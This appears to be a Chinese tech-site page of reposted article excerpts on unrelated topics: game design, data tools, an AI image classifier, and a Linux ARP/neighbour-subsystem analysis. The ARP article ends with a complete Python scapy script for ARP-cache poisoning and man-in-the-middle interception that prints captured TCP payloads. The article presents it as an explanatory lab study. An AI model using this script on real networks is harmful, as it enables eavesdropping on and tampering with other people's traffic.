前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[服务端配置 ]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 [Unity] 包括场景互动与射击要素的俯视角闯关游戏Demo 一个简单的单机闯关小游戏,主角到达终点即为胜利,关卡中有两种怪物能够对主角造成伤害,此外还有灯、陷阱、宝箱等场景互动要素,主角从宝箱中获得枪后能够进行射击杀死怪物 游戏逻辑简述 主角 初始有三点血量,被怪物攻击或触发陷阱回收到伤害,血量为零时进行副本结算,成功到达终点后游戏胜利 当获得武器后可以发射子弹,子弹会沿直线飞行,碰到障碍物、怪物、墙壁后,子弹消失 怪物 石像鬼 无法移动,血量无限,攻击到主角会直接将主角杀死 AI:来回探照,探照到主角后将主角杀死 幽灵 初始九点血量,当被子弹攻击后根据角色攻击力扣除血量,血量为0后死亡,3秒后出生点符火 AI:出生后在一定范围内巡逻,被攻击后会追逐主角直到死亡 场景互动物体 灯光 灯每15秒自动亮一次,亮10秒钟自动熄灭,灯亮起时,灯光范围内的怪物死亡 主角操作开关改变当前房间灯的状态(关-》开,开-》关),状态改变后场景机制的灯重新计时。 减速陷阱 主角触发陷阱后会减少主角50%移动速度,主角离开陷阱后依然会持续5秒减速效果。 地刺陷阱 每间隔3秒会伸出尖刺,持续3秒,尖刺缩回,重新开始计时。当尖刺处于伸出状态时,主角在陷阱范围,每秒会受到1点伤害。 宝箱 打开宝箱后主角可以获得一把武器 实现简述 由于实现功能较为简单,因此只简述实现思路 类组织结构 使用彩色建模的思想组织类结构,类图: SceneObject 所有场景物体包括主角、怪物、互动物体等的抽象基类,仅有init()抽象方法 Character 拥有血量和攻击力的实体继承自Character,同时实现getATK()和beDamage()抽象方法用于处理攻击和受击逻辑 SceneItem 其他场景实体继承自SceneItem,无特殊属性和方法 Scene 场景管理类,能偶根据Json文件生成场景物体,保存了实体预制体,还拥有一个静态List和静态方法用于运行时向场景中添加新实体 InteractionMI 用于处理单个实体无法处理或不属于单个实体的逻辑,包括: 幽灵追踪主角时获取角色位置 帮助实体初始化定时器组件 减速陷阱是否可以回复主角速度 主角与灯、宝箱、武器的交互 DamageMI 包含静态方法Damage()专门用于处理伤害逻辑,方便后续服务器验证等逻辑 逻辑实现 主角 Protagonist类用于处理主角相关逻辑 受击逻辑 当主角不处于无敌状态,播放受击动画,扣除血量并进入无敌状态,定时器定时一秒后关闭无敌状态 交互逻辑 用户输入交互信号后,交由InteractionMI判断交互是否成功,返回交互信息,主角播放对应动画 武器逻辑 当主角获得武器后,主角身上保存武器的引用,与武器交互直接调用武器的对应方法(Drop(),Fire()) 结算逻辑 当主角HP小于等于0时,调用Scene的静态方法,请求场景结算 怪物 石像鬼 血量无限,没有受击逻辑,当检测组件检测到主角时,调用继承的Attack方法,攻击主角 幽灵 三种状态:die、patrol,chase 死亡状态下三秒后会在第一个导航点复活 巡逻状态下检测到主角会调用继承的Attack方法攻击主角 追逐状态下会每帧获得主角位置追逐主角 其他场景物品 灯光 初始化时添加计时器用于控制自动开关,用户交互后重置计时器 开启时使用一个锥形的检测器检测幽灵是否在范围内,如果在调用Damage对幽灵造成伤害 存在一个Box Collider,当玩家进入时,调用InteractionMI的方法,将InteractionMI保存的静态SwitchableLight引用置为自己,当玩家交互时这个引用不为null,则调用这个引用的SwitchableLight的ChangeLight方法完成开关灯的交互 减速陷阱 当玩家进入时,调用InteractionMI的方法,使其内置的静态_slowDownCount计数加一,并调用玩家的SetSpeedRatio方法使玩家减速 当玩家离开,设置计时器5秒后调用InteractionMI的方法,使其内置的静态_slowDownCount计数减一,当计数为零时才可以调用玩家的SetSpeedRatio方法使玩家回复正常速度 地刺陷阱 初始化时设置计时器,每三秒改变一次状态,当玩家进入,设置计时器每一秒对玩家造成一次伤害,当玩家离开,取消计时器 宝箱 内置public GameObject GWeapon;用于保存要生成的枪的预制体 当玩家第一次与宝箱交互,播放开宝箱动画,设置计时器1.2秒后根据预制体克隆一个武器,并将武器通过Scene的静态方法加入到Scene维护的SceneObject列表中,自身保存新生成的武器的引用 当武器生成后玩家再与宝箱交互则通过InteractionMI的方法将武器父节点设为玩家,玩家获得武器的引用,自身武器引用置为null 武器 内置private Transform _parent = null;用于保存父物体 Drop方法被调用时,若父物体不为空,设置自身刚体属性,设置速度使武器有抛出效果,设置计时器1秒后恢复到没有物理效果的状态,父物体置为空 Fire方法被调用,若能够开火,则生成并初始化一个子弹,生成时将保存的父物体的Transform给子弹,保证子弹能够向角色前方发射,开火后设置开火状态为不能开火,设置计时器0.5秒后恢复开火状态 当父物体信息为空,与其他交互逻辑类似,通过InteractionMI完成武器捡起的交互逻辑 子弹 初始化时设置初速度,启动定时器1秒后若没有销毁则自动销毁,若碰撞到幽灵,对幽灵造成伤害,其他碰撞销毁自己 本篇文章为转载内容。原文链接:https://blog.csdn.net/Zireael2019/article/details/126690910。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-03-11 12:57:03
770
转载
Scala
...于企业级应用和Web服务同样构成威胁。例如,某知名社交媒体平台曾报告过一起利用Unicode同形异义字符进行的攻击事件,导致部分用户账户信息泄露。这起事件引发了业界对URL安全性的广泛关注,各大科技公司纷纷加强了对输入验证和异常处理机制的审查,以防止类似事件再次发生。 此外,随着区块链技术和加密货币的普及,与之相关的URL安全问题也日益凸显。黑客常常利用复杂的URL构造,诱导用户访问恶意网站,盗取加密货币钱包的私钥。为此,许多加密货币钱包服务商开始引入更高级别的身份验证机制,并加强对URL的过滤和监控,以保护用户的资产安全。 在防范这类新型攻击方面,除了依赖技术手段外,用户自身的安全意识同样重要。专家建议,用户在点击任何链接前,应仔细检查URL的拼写和格式,尽量避免访问来源不明的网站。同时,定期更新操作系统和浏览器,安装最新的安全补丁,也是抵御此类攻击的有效措施之一。对于开发者而言,不仅要关注基础的URL格式校验,还需加强对异常字符和恶意链接的检测能力,确保应用程序在面对复杂攻击时依然能够保持稳定和安全。
2024-12-19 15:45:26
23
素颜如水
Beego
...转型过程中,采用了微服务架构,项目数量迅速增长。由于各团队间缺乏有效的沟通与协调机制,代码提交规则执行不力,导致多个项目出现重复开发、接口不兼容等问题。为此,该公司决定成立专门小组,负责制定统一的代码提交规范,并推动各团队严格执行。经过一段时间的努力,公司内部代码质量明显提升,项目开发周期大幅缩短。 这些案例表明,无论是在国际还是国内,代码提交规则的严格遵守都是提升软件工程质量和团队协作效率的关键因素。未来,随着技术的发展和项目规模的扩大,这一问题将更加凸显,需要开发者和管理者共同努力,不断完善相关制度和工具,以应对日益复杂的技术环境。
2024-12-26 15:33:14
93
红尘漫步
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 昨天看了这部片子,感觉一般,但还是一部可看的片子,不闷。 女杀手失忆之前挺酷的,之后感觉太柔弱了。 三个男主角都不错,不过方中信的形象应该更强悍一些才好,而千叶真一象极了邻居家的老大伯。 《孙子兵法》第六计 虚实计 …… 攻而必取者,攻其所不守也。 守而必固者,守其所必攻也。 故善攻者,敌不知其所守; 善守者,敌不知其所攻。 …… 进而不可御者,冲其虚也; 退而不可追者,速而不可及也。 故我欲战,敌虽高垒深沟,不得不与我战者,攻其所必救也; 我不欲战,虽画地而守之,敌不得与我战者,乖其所之也。 故形人而我无形,则我专而敌分。 …… 附录: 中文名称:第六计 英文名称:Explosive City 资源类型:DVDScr 发行时间:2004年11月04日 电影导演:梁德森 电影演员: 任达华 方中信 千叶真一 白田久子 彭敬慈 萧正楠 地区:香港 语言:普通话 简介: 转自TLF论坛 片名:Explosive City 译名:第六计(又名爆裂都市) 导演:梁德森 主演:任达华 方中信 千叶真一 白田久子 彭敬慈 萧正楠 时间:90分钟 类型:动作 上映日期:2004-11-4 官方网站:http://www.bakuretsu.jp/ 语言:国语 字幕:外挂中/英 剧情: (转自世纪环球在线) 某国际机场,来参加国际会议的邻埠高级官员容大刚正在与众多记者畅谈参会感 想,突然,一个神情冷漠的美貌女子从人群中闪出,只见她拔出手枪,对准容大刚连 开三枪,场内一片大乱。 机场刺杀案引起了警方极大的震惊,派来高级警务人员姚天明(方中信饰)协助 特警队张志诚(任达华饰)警司侦破此案。经过排查,行刺者是某国际恐怖组织的成员, 名叫北条真理(白田久子饰)。材料显示:北条真理生于日本的一个幸福的家庭,三 岁时被某国际恐怖组织首领“奥多桑”(千叶真一饰)看中,把她掳走,通过洗脑、 训练,使她成为恐怖组织的高级杀手。这次行动,她以记者身份潜入机场,射伤了目 标,自己也因此受伤被俘。 就在警方全力破案的同时,某国际恐怖组织的首领“奥多桑”带领部下悄悄潜入 该城,显然,他对上一次行的刺杀行动很不满意,准备亲自上阵了。在他的指挥下, 恐怖分子残忍的杀死了姚天明的太太,并绑架了他的儿子,借此要挟姚天明杀死北条 真理,姚天明在万般无奈中,执行了“奥多桑”的命令,“击毙”、劫持了北条真理, 一步步走进“奥多桑”精心设下的圈套,并因此被警方通缉。 姚天明一边躲避着警方的追捕,一边苦苦寻找“奥多桑”的足迹,寻机解救被绑 架的儿子;幸免于难的北条真理与姚天明从对立变成唇齿相依;在追击中渐渐恢复了 记忆,认出了“奥多桑”安插在警务队伍中的亲信——张志诚警司;令他们百思不得 其解的是,张警司本身就是负责保护容大刚的警卫人员,由他执行刺杀活动,不是更 稳妥吗?为什麼还要派遣北条真理进行明目张胆的刺杀活动?随着事态的发展,无意 中,姚天明在“奥多桑”钟爱的《孙子兵法》一书中发现了更大的秘密——可怕的第 六计…… 转载于:https://www.cnblogs.com/Silence/archive/2004/11/08/61332.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30240349/article/details/98266532。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-05-10 09:20:27
619
转载
Saiku
...数据分析平台正向自助服务模式转型,使得业务用户能够更加独立地进行深度数据探索,而Saiku恰好顺应了这一潮流。 此外,开源社区对于Saiku的支持也在不断加强,开发者们正在积极贡献代码,以优化性能、扩展功能并集成更多数据源支持。最近一次版本更新中,Saiku增强了对云原生环境的支持,简化了部署流程,并提升了处理大规模数据集时的响应速度,这无疑为大数据时代下的企业级应用提供了更有力的支撑。 综上所述,在数字化转型浪潮下,掌握像Saiku这样的现代化数据分析工具,不仅有助于企业提升决策效率,更能帮助企业从海量数据中提炼出具有战略价值的信息,从而实现业务增长和竞争力提升。因此,深入研究和熟练运用Saiku,已成为广大数据从业者提升自身核心竞争力的关键技能之一。
2023-10-04 11:41:45
105
初心未变
PostgreSQL
...业务中断问题,确保了服务的连续性和稳定性。
2023-06-04 17:45:07
410
桃李春风一杯酒_
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 文章目录 AI垃圾分类 产品描述 垃圾分类-数据分析和预处理 代码结构 resnext101网络架构 垃圾分类-训练 垃圾分类-评估 垃圾分类-在线预测 1. 你是什么垃圾? 2. 告诉你,你是什么垃圾 3. 使用它告诉你,你是啥垃圾 AI垃圾分类 产品描述 如何进行垃圾分类已经成为居民生活的灵魂拷问,然而AI在垃圾分类的应用可以成为居民的得力助手。 针对目前业务需求,我们设计一款APP,来支撑我们的业务需求,主要提供文本,语音,图片分类功能。AI智能垃圾分类主要通过构建基于深度学习技术的图像分类模型,实现垃圾图片类别的精准识别重点处理图片分类问题。 采用深圳市垃圾分类标准,输出该物品属于可回收物、厨余垃圾、有害垃圾和其他垃圾分类。 垃圾分类-数据分析和预处理 整体数据探测 分析数据不同类别分布 分析图片长宽比例分布 切分数据集和验证集 数据可视化展示(可视化工具 pyecharts,seaborn,matplotlib) 代码结构 ├── data│ ├── garbage-classify-for-pytorch│ │ ├── train│ │ ├── train.txt│ │ ├── val│ │ └── val.txt│ └── garbage_label.txt├── analyzer│ ├── 01 垃圾分类_一级分类 数据分布.ipynb│ ├── 02 垃圾分类_二级分类 数据分析.ipynb│ ├── 03 数据加载以及可视化.ipynb│ ├── 03 数据预处理-缩放&裁剪&标准化.ipynb│ ├── garbage_label_40 标签生成.ipynb├── models│ ├── alexnet.py│ ├── densenet.py│ ├── inception.py│ ├── resnet.py│ ├── squeezenet.py│ └── vgg.py├── facebook│ ├── app_resnext101_WSL.py│ ├── facebookresearch_WSL-Images_resnext.ipynb│ ├── ResNeXt101_pre_trained_model.ipynb├── checkpoint│ ├── checkpoint.pth.tar│ ├── garbage_resnext101_model_9_9547_9588.pth├── utils│ ├── eval.py│ ├── json_utils.py│ ├── logger.py│ ├── misc.py│ └── utils.py├── args.py├── model.py├── transform.py├── garbage-classification-using-pytorch.py├── app_garbage.py data: 训练数据和验证数据、标签数据 checkpoint: 日志数据、模型文件、训练过程checkpoint中间数据 app_garbage.py:在线预测服务 garbage-classification-using-pytorch.py:训练模型 models:提供各种pre_trained_model ,例如:alexlet、densenet、resnet,resnext等 utils:提供各种工具类,例如;重新flask json 格式,日志工具类、效果评估 facebook: 提供facebook 分类器神奇的分类预测和数据预处理 analyzer: 数据分析和数据预处理模块 transform.py:通过pytorch 进行数据预处理 model.py: resnext101 模型集成以及调整、模型训练和验证函数封装 resnext101网络架构 pre_trained_model resnext101 网络架构原理 基于pytorch 数据处理、resnext101 模型分类预测 在线服务API 接口 垃圾分类-训练 python garbage-classification-using-pytorch.py \--model_name resnext101_32x16d \--lr 0.001 \--optimizer adam \--start_epoch 1 \--epochs 10 \--num_classes 40 model_name 模型名称 lr 学习率 optimizer 优化器 start_epoch 训练过程断点重新训练 num_classes 分类个数 垃圾分类-评估 python garbage-classification-using-pytorch.py \--model_name resnext101_32x16d \--evaluate \--resume checkpoint/checkpoint.pth.tar \--num_classes 40 model_name 模型名称 evaluate 模型评估 resume 指定checkpoint 文件路径,保存模型以及训练过程参数 垃圾分类-在线预测 python app_garbage.py \--model_name resnext101_32x16d \--resume checkpoint/garbage_resnext101_model_2_1111_4211.pth model_name 模型名称 resume 训练模型文件路径 模型预测 命令行验证和postman 方式验证 举例说明:命令行模式下预测 curl -X POST -F file=@cat.jpg http://ip:port/predict 最后,我们从0到1教大家掌握如何进行垃圾分类。通过本学习,让你彻底掌握AI图像分类技术在我们实际工作中的应用。 1. 你是什么垃圾? 2. 告诉你,你是什么垃圾 3. 使用它告诉你,你是啥垃圾 本篇文章为转载内容。原文链接:https://blog.csdn.net/shenfuli/article/details/103008003。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-02-10 23:48:11
518
转载
DorisDB
...务分解到多个处理器或服务器节点上并行执行,从而实现高效的数据处理和分析。在DorisDB的语境中,MPP架构使得数据库能够处理海量数据,并确保在进行实时分析时保持高性能。 Raft协议 , Raft是一个用于管理复制日志的一致性算法,主要用于分布式系统中的领导选举、日志复制和安全性保证。在DorisDB的设计中,基于Raft协议构建的多副本一致性模型能够确保在网络分区、节点故障等异常情况下,集群内的所有节点对数据变更达成一致,维持数据强一致性。 多版本并发控制(MVCC) , 多版本并发控制是一种数据库管理系统中用来处理并发读写事务的技术,允许读取操作不被写入操作阻塞,同时避免了数据不一致的问题。在DorisDB中,MVCC机制意味着每次写操作都会创建一个新的数据版本,而不是直接修改原始数据,从而允许多个并发写入请求在同一行数据上进行,且能确保最终数据一致性不受影响。 分布式事务 , 在分布式环境下,涉及多个节点的操作被称为分布式事务,这些操作需要满足ACID(原子性、一致性、隔离性和持久性)特性以保证数据完整性。文中提到的DorisDB通过底层设计自动保障了分布式事务的一致性,即使在网络不稳定或节点故障的情况下也能确保数据正确无误地写入一次,解决分布式环境下的数据一致性挑战。
2023-07-01 11:32:13
486
飞鸟与鱼
Groovy
...年来,随着云计算和微服务架构的普及,Groovy因其简洁的语法和强大的生态系统,在企业级开发领域重新获得了关注。特别是在DevOps文化盛行的背景下,Groovy作为一种既能快速开发又能与现有Java生态无缝集成的语言,成为许多团队构建CI/CD流水线和自动化工具的首选。例如,Jenkins这一广受欢迎的持续集成平台,其核心脚本语言就是Groovy。最近,Jenkins社区发布了2.361版本,其中引入了新的DSL(领域特定语言)特性,进一步增强了Groovy在构建复杂工作流中的能力。 与此同时,Groovy在数据科学领域的应用也引起了广泛关注。Apache Groovy提供了丰富的库支持,如Grape(依赖管理器)和Spock框架,使得数据科学家能够以更少的代码完成复杂的分析任务。近期,有研究表明,结合Groovy与Kotlin进行混合编程,可以显著提高大数据处理效率。这种跨语言协作模式正在成为现代软件开发的新趋势。 此外,Groovy的动态特性使其非常适合用于快速原型设计。近期,一家知名金融科技公司利用Groovy开发了一款面向中小企业的贷款评估系统,仅用两周时间就完成了从需求分析到上线部署的全过程。该项目的成功不仅展示了Groovy在敏捷开发中的潜力,也为其他类似场景提供了宝贵经验。 值得注意的是,尽管Groovy拥有诸多优势,但它并非没有挑战。随着GraalVM等新技术的发展,传统脚本语言面临新的竞争压力。如何保持自身竞争力并吸引更多年轻开发者,将是未来几年Groovy社区需要重点思考的问题。
2025-03-15 15:57:01
102
林中小径
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 邻居子系统与ARP协议 邻居子系统的作用就是将IP地址,转换为MAC地址,类似操作系统中的MMU(内存管理单元),将虚拟地址,转换为物理地址。 其中邻居子系统相当于地址解析协议(IPv4的ARP协议,IPv6的ND(Neighbor discover)协议)的一个通用抽象,可以在其上实现ARP等各种地址解析协议 邻居子系统的数据结构 struct neighbour{....................} neighbour结构存储的是IP地址与MAC地址的对应关系,当前状态 struct neighbour_table{....................} 每一个地址解析协议对应一个neighbour_table,我们可以查看ARP的初始函数arp_init,其会创建arp_tbl neighbour_table 包含 neighbour 邻居子系统的状态转换 其状态信息是存放在neighbour结构的nud_state字段的 可以分析neigh_update与neigh_timer_handler函数,来理解他们之间的转换关系。 NUD_NONE: 表示刚刚调用neigh_alloc创建neighbour NUD_IMCOMPLETE 发送一个请求,但是还未收到响应。如果经过一段时间后,还是没有收到响应,则查看发送请求数是否超过上限,如果超过则转到NUD_FAILED,否则继续发送请求。如果接受到响应则转到NUD_REACHABLE NUD_REACHABLE: 表示目标可达。如果经过一段时间,未有到达目标的数据包,则转为NUD_STALE状态 NUD_STALE 在此状态,如果有用户准备发送数据,则切换到NUD_DELAY状态 NUD_DELAY 该状态会启动一个定时器,然后接受可到达确认,如果定时器过期之前,收到可到达确认,则将状态切换到NUD_REACHABLE,否则转换到NUD_PROBE状态。 NUD_PROBE 类似NUD_IMCOMPLETE状态 NUD_FAILED 不可达状态,准备删除该neighbour 各种状态之间的切换,也可以通过scapy构造数据包发送并通过Linux 下的 ip neigh show 命令查看 ARP接收处理函数分析 ARP的接收处理函数为arp_process(位于net/ipv4/arp.c)中 我们分情况讨论arp_process的处理函数并结合scapy发包来分析处理过程 当为ARP请求数据包,且能找到到目的地址的路由 如果不是发送到本机的ARP请求数据包,则看是否需要进行代理ARP处理 如果是发送到本机的ARP请求数据包,则分neighbour的状态进行讨论,但是通过分析发现,不论当前neighbour是处于何种状态(NUD_FAILD、NUD_NONE除外),则都会将状态切换成 NUD_STALE状态,且mac地址不相同时,则会切换到本次发送方的mac地址 当为ARP请求数据包,不能找到到目的地址的路由 不做任何处理 当为ARP响应数据包 如果没有对应的neighbour,则不做任何处理。如果该neighbour存在,则将状态切换为NUD_REACHABLE,MAC地址更换为本次发送方的地址 中间人攻击原理 通过以上分析,可以向受害主机A发送ARP请求数据包,其中请求包中将源IP地址,设置成为受害主机B的IP地址,这样,就会将主机A中的B的 MAC缓存,切换为我们的MAC地址。 同理,向B中发送ARP请求包,其中源IP地址为A的地址 然后,我们进行ARP数据包与IP数据包的中转,从而达到中间人攻击。 使用Python scapy包,实现中间人攻击: 环境 python3 ubuntu 14.04 VMware 虚拟专用网络 代码 !/usr/bin/python3from scapy.all import import threadingimport timeclient_ip = "192.168.222.186"client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) replysendp(pkt)if packet.op == 2: replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join() client_ip 为发送数据的IP server_ip 为接收数据的IP 参考质料 Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制 https://blog.csdn.net/lickylin/article/details/22228047 转载于:https://www.cnblogs.com/r1ng0/p/9861525.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-05-03 13:04:20
561
转载
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 1、下载第三方扩展库 filterbuilder.jar htmllexer.jar htmlparser.jar jsoup-1.9.2.jar junit.jar sax2.jar thumbelina.jar 2、执行以下方法 package com.zgs.look;import java.io.BufferedReader;import java.io.File;import java.io.FileInputStream;import java.io.InputStreamReader;import java.util.HashMap;import java.util.Map;import java.util.regex.Matcher;import java.util.regex.Pattern;import org.htmlparser.Node;import org.htmlparser.NodeFilter;import org.htmlparser.Parser;import org.htmlparser.filters.NodeClassFilter;import org.htmlparser.filters.OrFilter;import org.htmlparser.tags.LinkTag;import org.htmlparser.tags.TableTag;import org.htmlparser.util.NodeList;import org.jsoup.Jsoup;import org.jsoup.nodes.Document;import org.jsoup.nodes.Element;import org.jsoup.select.Elements;public class HtmlLook {private static String ENCODE = "UTF-8";public static void main(String[] args) {String szContent = openFile( "d:/index.html");try {Document doc = Jsoup.parse(szContent);Elements elList=doc.getElementsByAttributeValue("id","vulDataTable");szContent=elList.outerHtml();Parser parser = Parser.createParser(szContent, ENCODE);NodeFilter[] filters = new NodeFilter[2];filters[0] = new NodeClassFilter(TableTag.class); filters[1] = new NodeClassFilter(LinkTag.class);NodeFilter filter =new OrFilter (filters);NodeList list = parser.extractAllNodesThatMatch(filter);String ldName="";String ldJianjie="";for (int i = 0; i < list.size(); i++) { Node node = list.elementAt(i); if(node instanceof LinkTag){String nodeHtml=node.toHtml();if(nodeHtml.contains("onclick")&&nodeHtml.contains("vul-")){if(!"".equals(ldName)&&!"".equals(ldJianjie)){//提交数据System.out.println("---commit---漏洞名称-------"+ldName);System.out.println("---commit---漏洞简介-------"+ldJianjie);ldName="";ldJianjie="";}String level="";if(nodeHtml.contains("vul-vh")){level="高危漏洞";}else if(nodeHtml.contains("vul-vm")){level="中危漏洞";}else if(nodeHtml.contains("vul-vl")){level="低危漏洞";}ldName=getLinkTagContent(nodeHtml)+"-----"+level+"------";// System.out.println("---漏洞名称-----"+getLinkTagContent(nodeHtml)+"-----"+level+"------");} }else{ldJianjie=getTableTagContent(node.toHtml());} } } catch (Exception e) {e.printStackTrace();} }/ 提取文件里面的文本信息 @param szFileName @return/public static String openFile(String szFileName) {try {BufferedReader bis = new BufferedReader(new InputStreamReader(new FileInputStream(new File(szFileName)), ENCODE));String szContent = "";String szTemp;while ((szTemp = bis.readLine()) != null) {szContent += szTemp + "\n";}bis.close();return szContent;} catch (Exception e) {return "";} }/ 提取标签<a>a</a>内的内容 return a;/public static String getLinkTagContent(String link){String content="";Pattern pattern = Pattern.compile("<a[^>]>(.?)</a>");Matcher matcher = pattern.matcher(link);if(matcher.find()){content=matcher.group(1);}return content;}/ 解析Table标签内的东西 @param table/public static String getTableTagContent(String table){Map<String,String> conMap=new HashMap<String,String>();String content="";Document doc = Jsoup.parse(table);Elements elList=doc.getElementsByAttributeValue("class","cmn_table plumb");Element el=elList.first();Elements trLists = el.select("tr");for (int i = 0; i < trLists.size(); i++) {Elements tds = trLists.get(i).select("td");String key="";String val="";for (int j = 0; j < tds.size(); j++) {String text = tds.get(j).text();if(j==0){key=text; }else{val=text; } }conMap.put(key, val);content+="|"+key+"-"+val;// System.out.println(key+"-"+val);}return content;} } 本篇文章为转载内容。原文链接:https://blog.csdn.net/zhaoguoshuai91/article/details/51802116。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-07-19 10:42:16
297
转载
HBase
...出实时决策或提供实时服务。文中提及HBase支持快速的数据插入和查询操作,这使得其非常适合应用于实时数据分析任务。 流式处理应用 , 流式处理是一种处理持续不断生成的数据流的计算范式,它允许数据在产生时立即进行处理,而非等待所有数据都收集完毕后一次性处理。文中指出,由于HBase能快速处理数据,因此对于需要对实时数据流进行连续分析和处理的应用场景非常适用。
2023-01-31 08:42:41
432
青春印记-t
转载文章
